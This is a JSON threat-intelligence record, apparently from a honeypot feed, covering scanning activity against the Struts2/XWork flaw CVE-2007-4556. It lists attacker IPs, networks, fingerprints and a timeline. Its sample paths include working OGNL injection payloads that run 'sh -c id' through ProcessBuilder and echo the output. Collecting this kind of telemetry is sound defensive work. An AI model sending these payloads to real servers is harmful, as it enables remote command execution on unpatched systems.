{"cve_id":"CVE-2007-4556","title":"OpenSymphony XWork/Apache Struts2 - Remote Code Execution","severity":"medium","actively_exploited":false,"patterns":["/login.action"],"events":199,"unique_ips":73,"actors":[{"ip":"101.36.125.58","events":36,"country_code":"HK","country":"Hong Kong","org":"UCLOUD INFORMATION TECHNOLOGY HK LIMITED","rdns":"","scanner_tag":null},{"ip":"80.87.206.237","events":28,"country_code":"RU","country":"Russia","org":"OVH SAS","rdns":"","scanner_tag":null},{"ip":"80.87.206.229","events":19,"country_code":"RU","country":"Russia","org":"OVH SAS","rdns":"","scanner_tag":null},{"ip":"115.242.166.190","events":12,"country_code":"IN","country":"India","org":"Reliance Jio Infocomm Limited","rdns":"","scanner_tag":null},{"ip":"179.43.163.26","events":11,"country_code":"CH","country":"Switzerland","org":"Private Layer INC","rdns":"hosted-by.privatelayer.com","scanner_tag":null},{"ip":"47.96.254.170","events":7,"country_code":"CN","country":"China","org":"Hangzhou Alibaba Advertising Co.,Ltd.","rdns":"","scanner_tag":null},{"ip":"129.212.220.110","events":6,"country_code":"NL","country":"The Netherlands","org":"DigitalOcean, LLC","rdns":"","scanner_tag":null},{"ip":"3.138.89.108","events":6,"country_code":"US","country":"United States","org":"Amazon.com, Inc.","rdns":"ec2-3-138-89-108.us-east-2.compute.amazonaws.com","scanner_tag":{"key":"aws","label":"Amazon AWS","category":"hosting_provider","url":"https://aws.amazon.com/"}},{"ip":"115.171.80.253","events":4,"country_code":"CN","country":"China","org":"China Networks Inter-Exchange","rdns":"","scanner_tag":null},{"ip":"35.184.186.164","events":3,"country_code":"US","country":"United States","org":"Google LLC","rdns":"164.186.184.35.bc.googleusercontent.com","scanner_tag":{"key":"gcp","label":"Google Cloud","category":"hosting_provider","url":"https://cloud.google.com/"}},{"ip":"103.45.143.73","events":3,"country_code":"CN","country":"China","org":"China Telecom","rdns":"","scanner_tag":null},{"ip":"125.165.62.62","events":3,"country_code":"ID","country":"Indonesia","org":"PT Telekomunikasi Indonesia","rdns":"","scanner_tag":null},{"ip":"66.228.53.105","events":1,"country_code":"US","country":"United States","org":"Akamai Connected Cloud","rdns":"prod-beryllium-us-central-69.li.binaryedge.ninja","scanner_tag":{"key":"binaryedge","label":"BinaryEdge","category":"commercial","url":"https://www.binaryedge.io/"}},{"ip":"147.182.149.209","events":1,"country_code":"CA","country":"Canada","org":"DigitalOcean, LLC","rdns":"prod-bromine-tor1-5.do.binaryedge.ninja","scanner_tag":{"key":"binaryedge","label":"BinaryEdge","category":"commercial","url":"https://www.binaryedge.io/"}},{"ip":"147.182.179.26","events":1,"country_code":"US","country":"United States","org":"DigitalOcean, LLC","rdns":"prod-bromine-nyc1-138.do.binaryedge.ninja","scanner_tag":{"key":"binaryedge","label":"BinaryEdge","category":"commercial","url":"https://www.binaryedge.io/"}},{"ip":"165.22.150.172","events":1,"country_code":"US","country":"United States","org":"DigitalOcean, LLC","rdns":"prod-boron-sfo2-1.do.binaryedge.ninja","scanner_tag":{"key":"binaryedge","label":"BinaryEdge","category":"commercial","url":"https://www.binaryedge.io/"}},{"ip":"146.190.103.103","events":1,"country_code":"SG","country":"Singapore","org":"DigitalOcean, LLC","rdns":"d3ecc9518c.scan.leakix.org","scanner_tag":null},{"ip":"134.209.25.199","events":1,"country_code":"GB","country":"United Kingdom","org":"DigitalOcean, LLC","rdns":"f952b6ebb7.scan.leakix.org","scanner_tag":null},{"ip":"134.122.36.255","events":1,"country_code":"CA","country":"Canada","org":"DigitalOcean, LLC","rdns":"prod-krypton-tor1-2.do.binaryedge.ninja","scanner_tag":{"key":"binaryedge","label":"BinaryEdge","category":"commercial","url":"https://www.binaryedge.io/"}},{"ip":"74.207.243.86","events":1,"country_code":"US","country":"United States","org":"Akamai Connected Cloud","rdns":"prod-chlorine-us-west-14.li.binaryedge.ninja","scanner_tag":{"key":"binaryedge","label":"BinaryEdge","category":"commercial","url":"https://www.binaryedge.io/"}},{"ip":"139.177.205.43","events":1,"country_code":"US","country":"United States","org":"Akamai Connected Cloud","rdns":"prod-astatine-us-southeast-28.li.binaryedge.ninja","scanner_tag":{"key":"binaryedge","label":"BinaryEdge","category":"commercial","url":"https://www.binaryedge.io/"}},{"ip":"66.228.47.111","events":1,"country_code":"US","country":"United States","org":"Akamai Connected Cloud","rdns":"prod-tennessine-us-east-19.li.binaryedge.ninja","scanner_tag":{"key":"binaryedge","label":"BinaryEdge","category":"commercial","url":"https://www.binaryedge.io/"}},{"ip":"170.64.146.180","events":1,"country_code":"AU","country":"Australia","org":"DigitalOcean, LLC","rdns":"prod-bromine-syd1-2.do.binaryedge.ninja","scanner_tag":{"key":"binaryedge","label":"BinaryEdge","category":"commercial","url":"https://www.binaryedge.io/"}},{"ip":"74.207.254.127","events":1,"country_code":"US","country":"United States","org":"Akamai Connected Cloud","rdns":"prod-chlorine-us-west-10.li.binaryedge.ninja","scanner_tag":{"key":"binaryedge","label":"BinaryEdge","category":"commercial","url":"https://www.binaryedge.io/"}},{"ip":"165.227.23.2","events":1,"country_code":"US","country":"United States","org":"DigitalOcean, LLC","rdns":"prod-boron-sfo2-109.do.binaryedge.ninja","scanner_tag":{"key":"binaryedge","label":"BinaryEdge","category":"commercial","url":"https://www.binaryedge.io/"}},{"ip":"159.89.55.59","events":1,"country_code":"US","country":"United States","org":"DigitalOcean, LLC","rdns":"prod-bromine-nyc1-82.do.binaryedge.ninja","scanner_tag":{"key":"binaryedge","label":"BinaryEdge","category":"commercial","url":"https://www.binaryedge.io/"}},{"ip":"194.195.211.199","events":1,"country_code":"US","country":"United States","org":"Akamai Connected Cloud","rdns":"prod-barium-us-southeast-4.li.binaryedge.ninja","scanner_tag":{"key":"binaryedge","label":"BinaryEdge","category":"commercial","url":"https://www.binaryedge.io/"}},{"ip":"142.93.129.190","events":1,"country_code":"NL","country":"Netherlands","org":"DigitalOcean, LLC","rdns":"f20a02ce01.scan.leakix.org","scanner_tag":null},{"ip":"50.116.30.189","events":1,"country_code":"US","country":"United States","org":"Akamai Connected Cloud","rdns":"prod-chlorine-us-central-1.li.binaryedge.ninja","scanner_tag":{"key":"binaryedge","label":"BinaryEdge","category":"commercial","url":"https://www.binaryedge.io/"}},{"ip":"157.230.180.226","events":1,"country_code":"US","country":"United States","org":"DigitalOcean, LLC","rdns":"prod-boron-nyc1-100.do.binaryedge.ninja","scanner_tag":{"key":"binaryedge","label":"BinaryEdge","category":"commercial","url":"https://www.binaryedge.io/"}},{"ip":"165.227.21.39","events":1,"country_code":"US","country":"United States","org":"DigitalOcean, LLC","rdns":"prod-beryllium-sfo2-53.do.binaryedge.ninja","scanner_tag":{"key":"binaryedge","label":"BinaryEdge","category":"commercial","url":"https://www.binaryedge.io/"}},{"ip":"74.207.252.109","events":1,"country_code":"US","country":"United States","org":"Akamai Connected Cloud","rdns":"prod-bromine-us-west-2.li.binaryedge.ninja","scanner_tag":{"key":"binaryedge","label":"BinaryEdge","category":"commercial","url":"https://www.binaryedge.io/"}},{"ip":"66.228.47.40","events":1,"country_code":"US","country":"United States","org":"Akamai Connected Cloud","rdns":"prod-xenon-us-east-23.li.binaryedge.ninja","scanner_tag":{"key":"binaryedge","label":"BinaryEdge","category":"commercial","url":"https://www.binaryedge.io/"}},{"ip":"45.79.103.44","events":1,"country_code":"US","country":"United States","org":"Akamai Connected Cloud","rdns":"prod-barium-us-west-54.li.binaryedge.ninja","scanner_tag":{"key":"binaryedge","label":"BinaryEdge","category":"commercial","url":"https://www.binaryedge.io/"}},{"ip":"178.128.179.48","events":1,"country_code":"US","country":"United States","org":"DigitalOcean, LLC","rdns":"prod-bromine-sfo2-159.do.binaryedge.ninja","scanner_tag":{"key":"binaryedge","label":"BinaryEdge","category":"commercial","url":"https://www.binaryedge.io/"}},{"ip":"134.209.56.5","events":1,"country_code":"US","country":"United States","org":"DigitalOcean, LLC","rdns":"prod-fluorine-sfo2-35.do.binaryedge.ninja","scanner_tag":{"key":"binaryedge","label":"BinaryEdge","category":"commercial","url":"https://www.binaryedge.io/"}},{"ip":"45.79.207.14","events":1,"country_code":"US","country":"United States","org":"Akamai Connected Cloud","rdns":"prod-bromine-us-southeast-72.li.binaryedge.ninja","scanner_tag":{"key":"binaryedge","label":"BinaryEdge","category":"commercial","url":"https://www.binaryedge.io/"}},{"ip":"206.81.12.187","events":1,"country_code":"US","country":"United States","org":"DigitalOcean, LLC","rdns":"bf99e5305e.scan.leakix.org","scanner_tag":null},{"ip":"192.81.131.140","events":1,"country_code":"US","country":"United States","org":"Akamai Connected Cloud","rdns":"prod-tennessine-us-west-14.li.binaryedge.ninja","scanner_tag":{"key":"binaryedge","label":"BinaryEdge","category":"commercial","url":"https://www.binaryedge.io/"}},{"ip":"198.58.111.249","events":1,"country_code":"US","country":"United States","org":"Akamai Connected Cloud","rdns":"prod-boron-us-central-13.li.binaryedge.ninja","scanner_tag":{"key":"binaryedge","label":"BinaryEdge","category":"commercial","url":"https://www.binaryedge.io/"}},{"ip":"104.248.183.81","events":1,"country_code":"US","country":"United States","org":"DigitalOcean, LLC","rdns":"prod-barium-sfo2-25.do.binaryedge.ninja","scanner_tag":{"key":"binaryedge","label":"BinaryEdge","category":"commercial","url":"https://www.binaryedge.io/"}},{"ip":"138.197.222.186","events":1,"country_code":"US","country":"United States","org":"DigitalOcean, LLC","rdns":"prod-tennessine-sfo2-17.do.binaryedge.ninja","scanner_tag":{"key":"binaryedge","label":"BinaryEdge","category":"commercial","url":"https://www.binaryedge.io/"}},{"ip":"207.154.197.113","events":1,"country_code":"DE","country":"Germany","org":"DigitalOcean, LLC","rdns":"bf57ea116e.scan.leakix.org","scanner_tag":null},{"ip":"64.225.75.246","events":1,"country_code":"NL","country":"Netherlands","org":"DigitalOcean, LLC","rdns":"b32f2b056d.scan.leakix.org","scanner_tag":null},{"ip":"143.110.213.72","events":1,"country_code":"CA","country":"Canada","org":"DigitalOcean, LLC","rdns":"cec2b92574.scan.leakix.org","scanner_tag":null},{"ip":"23.239.12.214","events":1,"country_code":"US","country":"United States","org":"Akamai Connected Cloud","rdns":"prod-bromine-us-east-107.li.binaryedge.ninja","scanner_tag":{"key":"binaryedge","label":"BinaryEdge","category":"commercial","url":"https://www.binaryedge.io/"}},{"ip":"194.195.208.216","events":1,"country_code":"US","country":"United States","org":"Akamai Connected Cloud","rdns":"prod-tennessine-us-southeast-12.li.binaryedge.ninja","scanner_tag":{"key":"binaryedge","label":"BinaryEdge","category":"commercial","url":"https://www.binaryedge.io/"}},{"ip":"138.197.164.127","events":1,"country_code":"CA","country":"Canada","org":"DigitalOcean, LLC","rdns":"prod-astatine-tor1-3.do.binaryedge.ninja","scanner_tag":{"key":"binaryedge","label":"BinaryEdge","category":"commercial","url":"https://www.binaryedge.io/"}},{"ip":"194.195.208.61","events":1,"country_code":"US","country":"United States","org":"Akamai Connected Cloud","rdns":"prod-fluorine-us-southeast-16.li.binaryedge.ninja","scanner_tag":{"key":"binaryedge","label":"BinaryEdge","category":"commercial","url":"https://www.binaryedge.io/"}},{"ip":"159.65.226.156","events":1,"country_code":"US","country":"United States","org":"DigitalOcean, LLC","rdns":"prod-bromine-nyc1-160.do.binaryedge.ninja","scanner_tag":{"key":"binaryedge","label":"BinaryEdge","category":"commercial","url":"https://www.binaryedge.io/"}}],"top_asns":[{"asn":16276,"org":"OVH SAS","events":47,"ips":2},{"asn":14061,"org":"DigitalOcean, LLC","events":41,"ips":36},{"asn":135377,"org":"UCLOUD INFORMATION TECHNOLOGY HK LIMITED","events":36,"ips":1},{"asn":63949,"org":"Akamai Connected Cloud","events":26,"ips":26},{"asn":55836,"org":"Reliance Jio Infocomm Limited","events":12,"ips":1},{"asn":51852,"org":"Private Layer INC","events":11,"ips":1},{"asn":37963,"org":"Hangzhou Alibaba Advertising Co.,Ltd.","events":7,"ips":1},{"asn":16509,"org":"Amazon.com, Inc.","events":6,"ips":1},{"asn":4847,"org":"China Networks Inter-Exchange","events":4,"ips":1},{"asn":151185,"org":"China Telecom","events":3,"ips":1}],"fingerprints":{"ja4h":["ge11nn0300_0db47b7d240d","ge11nn0300_dedeb29cc523","ge11nn0500_9af7e0472034","ge11nn0400_9c3956fad5da","ge11nn0600_ad55457f0f8d","ge11nn0500_cac2c496544b"],"ja4":["t13i3112h1_e8f1e7e78f70_d339722ba4af","t13i131300_f57a46bbacb6_47d1ff9c9a84","t13i251000_b78ed14e2fd0_ab7e3b40a677","t13i191000_9dc949149365_e5728521abd4","t13i131000_f57a46bbacb6_ab7e3b40a677"]},"sample_paths":["/login.action","/ui/login.action","/login.action?redirectAction:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}","/login.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}","/login.action?action:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'sh','-c','id'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}","/Login.action","/login.action?debug=command&expression=(44302*43963)","/login.action?debug=command&expression=(44453*41762)","/login.action?redirect:%24%7B40563*43926%7D","/sfiler/Login.action"],"timeline":[{"day":"2026-05-01","events":4,"ips":4},{"day":"2026-05-08","events":5,"ips":5},{"day":"2026-05-15","events":36,"ips":1},{"day":"2026-05-16","events":4,"ips":1},{"day":"2026-05-25","events":3,"ips":1},{"day":"2026-05-31","events":1,"ips":1},{"day":"2026-06-02","events":6,"ips":6},{"day":"2026-06-03","events":3,"ips":3},{"day":"2026-06-04","events":23,"ips":12},{"day":"2026-06-05","events":6,"ips":1},{"day":"2026-06-08","events":12,"ips":1},{"day":"2026-06-10","events":2,"ips":2},{"day":"2026-06-11","events":9,"ips":1},{"day":"2026-06-15","events":2,"ips":1},{"day":"2026-06-21","events":9,"ips":2},{"day":"2026-06-22","events":2,"ips":1},{"day":"2026-06-23","events":1,"ips":1},{"day":"2026-06-26","events":1,"ips":1},{"day":"2026-06-27","events":1,"ips":1},{"day":"2026-06-30","events":6,"ips":1},{"day":"2026-07-01","events":1,"ips":1},{"day":"2026-07-05","events":1,"ips":1},{"day":"2026-07-06","events":7,"ips":1},{"day":"2026-07-08","events":1,"ips":1},{"day":"2026-07-09","events":2,"ips":2},{"day":"2026-07-11","events":1,"ips":1},{"day":"2026-07-12","events":2,"ips":2},{"day":"2026-07-13","events":9,"ips":9},{"day":"2026-07-14","events":11,"ips":11},{"day":"2026-07-15","events":6,"ips":1},{"day":"2026-07-24","events":6,"ips":1},{"day":"2026-07-27","events":14,"ips":3},{"day":"2026-07-28","events":2,"ips":2}],"window_hours":2160}